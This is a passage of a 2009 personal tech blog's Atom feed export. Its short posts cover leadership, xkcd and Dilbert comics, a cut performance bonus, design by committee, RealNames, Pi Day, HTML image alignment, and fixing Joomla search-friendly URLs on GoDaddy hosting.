people management. I think most people tend to focus more on one of those three. I used to think it was all about thought leadership. Some people think it’s all about your ability to manage people. But the truth is, great leaders have to have a mix of those things.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span class="italic"&gt;&lt;a href="http://www.nytimes.com/2009/05/17/business/17corner.html"&gt;more here...&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-5434280496469237649?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/5434280496469237649/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=5434280496469237649' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5434280496469237649'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5434280496469237649'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/05/areas-you-want-to-improve-as-leader.html' title='Areas you want to improve as a leader?'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-7338049312486349164</id><published>2009-05-13T00:36:00.001-07:00</published><updated>2009-05-13T00:38:42.364-07:00</updated><title type='text'>Not Reproducible</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://imgs.xkcd.com/comics/cnr.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 740px; height: 227px;" src="http://imgs.xkcd.com/comics/cnr.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;h3&gt;&lt;br /&gt;&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To what extent will you go as a developer to reproduce a Issue?&lt;br /&gt;&lt;a href="http://xkcd.com/583/"&gt;http://xkcd.com/583/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-7338049312486349164?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/7338049312486349164/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=7338049312486349164' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/7338049312486349164'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/7338049312486349164'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/05/not-reproducible.html' title='Not Reproducible'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-4442003312764320284</id><published>2009-04-29T21:47:00.000-07:00</published><updated>2009-04-29T21:56:55.570-07:00</updated><title type='text'>Performance Bonus shot down</title><content type='html'>&lt;a href="http://dilbert.com/strips/comic/2009-04-18/" title="Dilbert.com"&gt;&lt;img src="http://dilbert.com/dyn/str_strip/000000000/00000000/0000000/000000/40000/9000/200/49207/49207.strip.gif" border="0" alt="Dilbert.com" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;My Company which is going through a slow down phase is working seriously to cut down costs.&lt;br /&gt;Which means office has been shifted to a comparatively smaller place, Plus performance bonus for last year is shot down.&lt;br /&gt;&lt;br /&gt;Where I feel the pinch is that they are cutting salaries promised me last year and not the current/next year and that hurts.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-4442003312764320284?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/4442003312764320284/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=4442003312764320284' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/4442003312764320284'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/4442003312764320284'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/04/performance-bonus-shot-down.html' title='Performance Bonus shot down'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-1039759658556378204</id><published>2009-04-07T23:02:00.000-07:00</published><updated>2009-04-07T23:03:00.987-07:00</updated><title type='text'>What's happening right now?</title><content type='html'>&lt;object width="560" height="340"&gt;&lt;param name="movie" value="http://www.youtube.com/v/3YhWNiRRblY&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/3YhWNiRRblY&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-1039759658556378204?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/1039759658556378204/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=1039759658556378204' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/1039759658556378204'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/1039759658556378204'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/04/whats-happening-right-now.html' title='What&apos;s happening right now?'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-167931358083335410</id><published>2009-04-01T23:27:00.000-07:00</published><updated>2009-04-01T23:32:27.039-07:00</updated><title type='text'>Reasons for Failure...</title><content type='html'>&lt;blockquote&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;Found this article on Wikipedia:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Design by committee is a wry, pejorative term referring to a style of design and its resultant output when a group of entities comes together to produce something (often the design of technological systems or standards), particularly in the presence of poor and incompetent leadership. The defining characteristics of "design by committee" are needless complexity, internal inconsistency, logical flaws, banality, and the lack of a unifying vision.&lt;br /&gt;&lt;br /&gt;Often, when software is designed by a committee, the original motivation, specifications and technical criteria take a backseat and poor choices may be made merely to appease the egos of several individual committee members. Such products and standards end up doing too many things or having parts that fit together poorly (because the entities who produced those parts were unaware of each other's requirements for a good fit).&lt;br /&gt;&lt;br /&gt;Successful design and style much more relate to intuition, and even aesthetics, than science or politics. &lt;/span&gt;&lt;a style="font-style: italic;" href="http://en.wikipedia.org/wiki/Design_by_committee"&gt;article source...&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I couldn't agree more.&lt;br /&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-167931358083335410?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/167931358083335410/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=167931358083335410' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/167931358083335410'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/167931358083335410'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/04/reasons-for-failure.html' title='Reasons for Failure...'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-3392457044523364463</id><published>2009-03-17T02:32:00.000-07:00</published><updated>2009-03-17T02:40:03.251-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>I'm Feeling Lucky</title><content type='html'>&lt;img class="alignleft" alt="google_girl.jpg" src="http://www.ideachampions.com/weblogs/google_girl.jpg" height="277" width="189" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/RealNames"&gt;&lt;b&gt;RealNames&lt;/b&gt;&lt;/a&gt; was a company founded in 1997. Its goal was to create a keyword-based naming system for the Internet that would translate keywords typed into the address bar of &lt;a href="http://en.wikipedia.org/wiki/Microsoft" title="Microsoft"&gt;Microsoft's&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/Internet_Explorer" title="Internet Explorer"&gt;Internet Explorer&lt;/a&gt; web browser and redirect them to to specific URL's.&lt;br /&gt;&lt;br /&gt;RealNames was dependent on maintaining its association with Microsoft that enabled the RealNames service on Microsoft's web browser. RealNames shut down operations in 2002 following a decision by Microsoft to redirect the 1 billion page views per calendar quarter that RealNames were resolving from the browser address bar into the MSN search engine.&lt;br /&gt;&lt;br /&gt;Duh!&lt;br /&gt;&lt;br /&gt;The functionality is much similar to google's  I'am Feeling Lucky!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-3392457044523364463?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/3392457044523364463/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=3392457044523364463' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3392457044523364463'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3392457044523364463'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/03/im-feeling-lucky.html' title='I&apos;m Feeling Lucky'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-4517082002040204521</id><published>2009-03-16T23:11:00.000-07:00</published><updated>2009-03-18T02:08:02.315-07:00</updated><title type='text'>Introducing *any* Surface</title><content type='html'>Imagine your cellphone helping you to develop a 6th sense.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_bVcXbCAptb0/Sb9B3KSCjCI/AAAAAAAAEYQ/jJElOXNikzw/s1600-h/Screenshot-1.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px; height: 117px;" src="http://4.bp.blogspot.com/_bVcXbCAptb0/Sb9B3KSCjCI/AAAAAAAAEYQ/jJElOXNikzw/s200/Screenshot-1.png" alt="" id="BLOGGER_PHOTO_ID_5314038501229104162" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Inbuilt camera recognizes any gestures made by you and helps you interact naturally using both hands, project the information on any surface including your hand!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_bVcXbCAptb0/Sb9B2la5ZyI/AAAAAAAAEYI/YxyjfaqxBgo/s1600-h/Screenshot.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px; height: 116px;" src="http://1.bp.blogspot.com/_bVcXbCAptb0/Sb9B2la5ZyI/AAAAAAAAEYI/YxyjfaqxBgo/s200/Screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5314038491334141730" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here is the Video:&lt;br /&gt;&lt;a href="http://www.ted.com/index.php/talks/pattie_maes_demos_the_sixth_sense.html"&gt;http://www.ted.com/index.php/talks/pattie_maes_demos_the_sixth_sense.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_bVcXbCAptb0/Sb9B2la5ZyI/AAAAAAAAEYI/YxyjfaqxBgo/s1600-h/Screenshot.png"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_bVcXbCAptb0/Sb9B2la5ZyI/AAAAAAAAEYI/YxyjfaqxBgo/s1600-h/Screenshot.png"&gt;&lt;br /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-4517082002040204521?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/4517082002040204521/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=4517082002040204521' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/4517082002040204521'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/4517082002040204521'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/03/introducing-any-surface.html' title='Introducing *any* Surface'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_bVcXbCAptb0/Sb9B3KSCjCI/AAAAAAAAEYQ/jJElOXNikzw/s72-c/Screenshot-1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-5278682533597400594</id><published>2009-03-14T13:59:00.000-07:00</published><updated>2009-03-16T22:57:07.740-07:00</updated><title type='text'>(pi)</title><content type='html'>&lt;p&gt; &lt;strong&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;Pi, Greek letter &lt;/span&gt;&lt;img style="color: rgb(255, 0, 0);" src="http://www.piday.org/images/littlepi.gif" alt="pi" /&gt;, is the symbol for the ratio of the circumference of a circle to its diameter.&lt;/strong&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Pi = &lt;a href="http://www.piday.org/million.php"&gt;3.1415926535...&lt;/a&gt; &lt;strong&gt;Pi Day is celebrated by math enthusiasts around the world on March 14th&lt;/strong&gt; at 1:59pm(or am),&lt;br /&gt;&lt;/p&gt;&lt;p&gt;A date and time that correspond to the first six digits of pi: 3.14159.&lt;/p&gt;&lt;span&gt;&lt;span style="font-size:100%;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;p&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-5278682533597400594?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/5278682533597400594/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=5278682533597400594' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5278682533597400594'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5278682533597400594'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/03/pi.html' title='(pi)'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-2688841756297893295</id><published>2009-03-03T04:08:00.000-08:00</published><updated>2009-03-03T04:28:21.229-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='joomla'/><category scheme='http://www.blogger.com/atom/ns#' term='go-freak.com'/><category scheme='http://www.blogger.com/atom/ns#' term='godaddy'/><title type='text'>Joomla on Godaddy Hosting, SEO problems</title><content type='html'>OK, I've a Godaddy Shared hosting for go-freak and I wanted to have SEO (Search engine Optimization) to be enabled for my existing joomla installation.&lt;br /&gt;&lt;br /&gt;I did the following steps:&lt;br /&gt;&lt;br /&gt;1) Enabled the following options from Global Configuration:&lt;br /&gt;&lt;br /&gt;&lt;fieldset&gt;&lt;legend&gt; &lt;span style="font-size:85%;"&gt;SEO Settings&lt;/span&gt;  &lt;/legend&gt;&lt;table class="admintable" cellspacing="1"&gt;    &lt;tbody&gt;   &lt;tr&gt;    &lt;td class="key" width="185"&gt;     &lt;span class="editlinktip hasTip"  style="font-size:85%;"&gt;      Search Engine Friendly URLs    &lt;/span&gt;    &lt;/td&gt;    &lt;td&gt;       &lt;span style="font-size:85%;"&gt;&lt;input name="sef" id="sef0" value="0" class="inputbox" type="radio"&gt;&lt;label for="sef0"&gt;No&lt;/label&gt;&lt;input name="sef" id="sef1" value="1" checked="checked" class="inputbox" type="radio"&gt;&lt;label for="sef1"&gt;Yes&lt;/label&gt;&lt;/span&gt;          &lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;    &lt;td class="key" width="185"&gt;     &lt;span class="editlinktip hasTip"  style="font-size:85%;"&gt;      Use Apache &lt;em&gt;mod_rewrite&lt;/em&gt;    &lt;/span&gt;    &lt;/td&gt;    &lt;td&gt;       &lt;span style="font-size:85%;"&gt;&lt;input name="sef_rewrite" id="sef_rewrite0" value="0" class="inputbox" type="radio"&gt;&lt;label for="sef_rewrite0"&gt;No&lt;/label&gt;&lt;input name="sef_rewrite" id="sef_rewrite1" value="1" checked="checked" class="inputbox" type="radio"&gt;&lt;label for="sef_rewrite1"&gt;Yes&lt;/label&gt;&lt;/span&gt;           &lt;span class="error hasTip"  style="font-size:85%;"&gt;      &lt;img src="http://go-freak.com/beta/joomla/7478/includes/js/ThemeOffice/warning.png" alt="" border="0" /&gt;    &lt;/span&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;    &lt;td class="key" width="185"&gt;     &lt;span class="editlinktip hasTip"  style="font-size:85%;"&gt;      Add suffix to URLs    &lt;/span&gt;    &lt;/td&gt;    &lt;td&gt;       &lt;span style="font-size:85%;"&gt;&lt;input name="sef_suffix" id="sef_suffix0" value="0" class="inputbox" type="radio"&gt;&lt;label for="sef_suffix0"&gt;No&lt;/label&gt;&lt;input name="sef_suffix" id="sef_suffix1" value="1" checked="checked" class="inputbox" type="radio"&gt;&lt;label for="sef_suffix1"&gt;Yes&lt;/label&gt;&lt;/span&gt;      &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;Now all my main menu Url's were re-written from:&lt;br /&gt;http://go-freak.com/beta/joomla/7478/index.php?option=com_jumi&amp;amp;fileid=1&amp;amp;Itemid=3&lt;br /&gt;&lt;br /&gt;to Search engine friendly :&lt;br /&gt;http://go-freak.com/beta/joomla/7478/hello-jumi.html&lt;br /&gt;&lt;br /&gt;Cool!&lt;br /&gt;&lt;div class="codetitle"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;2)&lt;b&gt; &lt;/b&gt;I renamed the file "htaccess.txt" to ".htaccess".&lt;br /&gt;&lt;br /&gt;3) I also verified that configuration.php had a correct live_site URL set.&lt;br /&gt;&lt;br /&gt;4) I also commented the following in my .htaccess file:&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;##  Can be commented out if causes errors, see notes above.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Options +FollowSymLinks&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Basically Followed all instructions that were available on the net.&lt;br /&gt;&lt;br /&gt;All set and done.&lt;br /&gt;But when I clicked on my main menu items (links) i started getting "File Not Found."&lt;br /&gt;errors.&lt;br /&gt;&lt;br /&gt;Found the answer in one of the &lt;a href="http://forum.joomla.org/viewtopic.php?f=268&amp;amp;t=238320"&gt;forum&lt;/a&gt; posts:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;GoDaddy uses a cache server for configuration files on shared hosting clients. You'll need to rename the file "htaccess.txt" to ".htaccess". After you rename the file wait about 1 hour before doing anything else. You only have to wait when you first create .htaccess Once it is created any change you make to it will be immediate. Let me say this one more time "Once .htaccess is created any change you make to it will be immediate.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Yes, that is true! Go-Daddy takes a while before honoring your .htaccess file, until then your Main Menu links will show "File not found." errors&lt;br /&gt;&lt;br /&gt;Go and have a coffee and everything should be fine...&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-2688841756297893295?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/2688841756297893295/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=2688841756297893295' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/2688841756297893295'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/2688841756297893295'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/03/joomla-on-godaddy-hosting-seo-problems.html' title='Joomla on Godaddy Hosting, SEO problems'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-3707836577774608416</id><published>2009-02-23T22:01:00.001-08:00</published><updated>2009-02-23T22:05:01.148-08:00</updated><title type='text'>Project management</title><content type='html'>* Installed &lt;span style="font-style:italic;"&gt;Trac&lt;/span&gt;&lt;br /&gt;* Installed &lt;span style="font-style:italic;"&gt;svn&lt;/span&gt; for Collaborative development.&lt;br /&gt;* Using google spread sheet for project tracking.&lt;br /&gt;&lt;br /&gt;This project will make me learn a lot of things, including Project Management..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-3707836577774608416?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/3707836577774608416/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=3707836577774608416' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3707836577774608416'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3707836577774608416'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/02/project-management.html' title='Project management'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-6033264985151656517</id><published>2009-02-18T00:13:00.000-08:00</published><updated>2009-02-18T00:29:50.691-08:00</updated><title type='text'>HTML: Image alignment</title><content type='html'>&lt;p&gt;I've been struggling to get my images aligned in blogger since time eternity. While going through a primer on HTML on W3Schools.com, I finally figured out how the 'align' keyword can be used show the image as per my requirement.&lt;br /&gt;&lt;/p&gt;An image  &lt;img src="http://www.w3schools.com/html/hackanm.gif" height="48" width="48" align="bottom" /&gt; align="bottom" in the text.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;An image  &lt;img src="http://www.w3schools.com/html/hackanm.gif" height="48" width="48" align="middle" /&gt;  align="middle" in the text.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;An image  &lt;img src="http://www.w3schools.com/html/hackanm.gif" height="48" width="48" align="top" /&gt;   align="top"in the text.&lt;br /&gt;&lt;p&gt;&lt;blockqoute&gt;&lt;br /&gt;&lt;em&gt;Note that bottom alignment is the default alignment&lt;/em&gt;&lt;/blockqoute&gt;&lt;/p&gt;&lt;p&gt;An image  &lt;img src="http://www.w3schools.com/html/hackanm.gif" height="48" width="48" /&gt; with no align keyword in the text.&lt;br /&gt;&lt;/p&gt;&lt;p&gt; &lt;img src="http://www.w3schools.com/html/hackanm.gif" height="48" width="48" /&gt;  An image align="left" before the text.&lt;br /&gt;&lt;/p&gt;&lt;p&gt; An image align="right" after the text &lt;img src="http://www.w3schools.com/html/hackanm.gif" height="48" width="48" /&gt;.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;you can also try it &lt;a href="http://www.w3schools.com/html/tryit.asp?filename=tryhtml_image_align"&gt;here&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-6033264985151656517?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/6033264985151656517/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=6033264985151656517' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/6033264985151656517'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/6033264985151656517'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/02/html-image-alignment.html' title='HTML: Image alignment'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-3755522377051493830</id><published>2009-02-17T22:26:00.000-08:00</published><updated>2009-02-17T22:45:27.296-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='go-freak.com'/><title type='text'>Let's go-freak!</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_bVcXbCAptb0/SZutvIm3frI/AAAAAAAADxI/hu_ZICQ_Ohg/s1600-h/go-small.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px; height: 200px;" src="http://1.bp.blogspot.com/_bVcXbCAptb0/SZutvIm3frI/AAAAAAAADxI/hu_ZICQ_Ohg/s200/go-small.png" alt="" id="BLOGGER_PHOTO_ID_5304024011434852018" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;I've started a new project &lt;a href="http://www.go-freak.com/"&gt;www.go-freak.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Since I am a travel enthusiast, I always wanted a site which had travel related information available online. A sort of Wiki, where genuine information was editable. Routes, maps, Latest road information, Weather, hotels and there 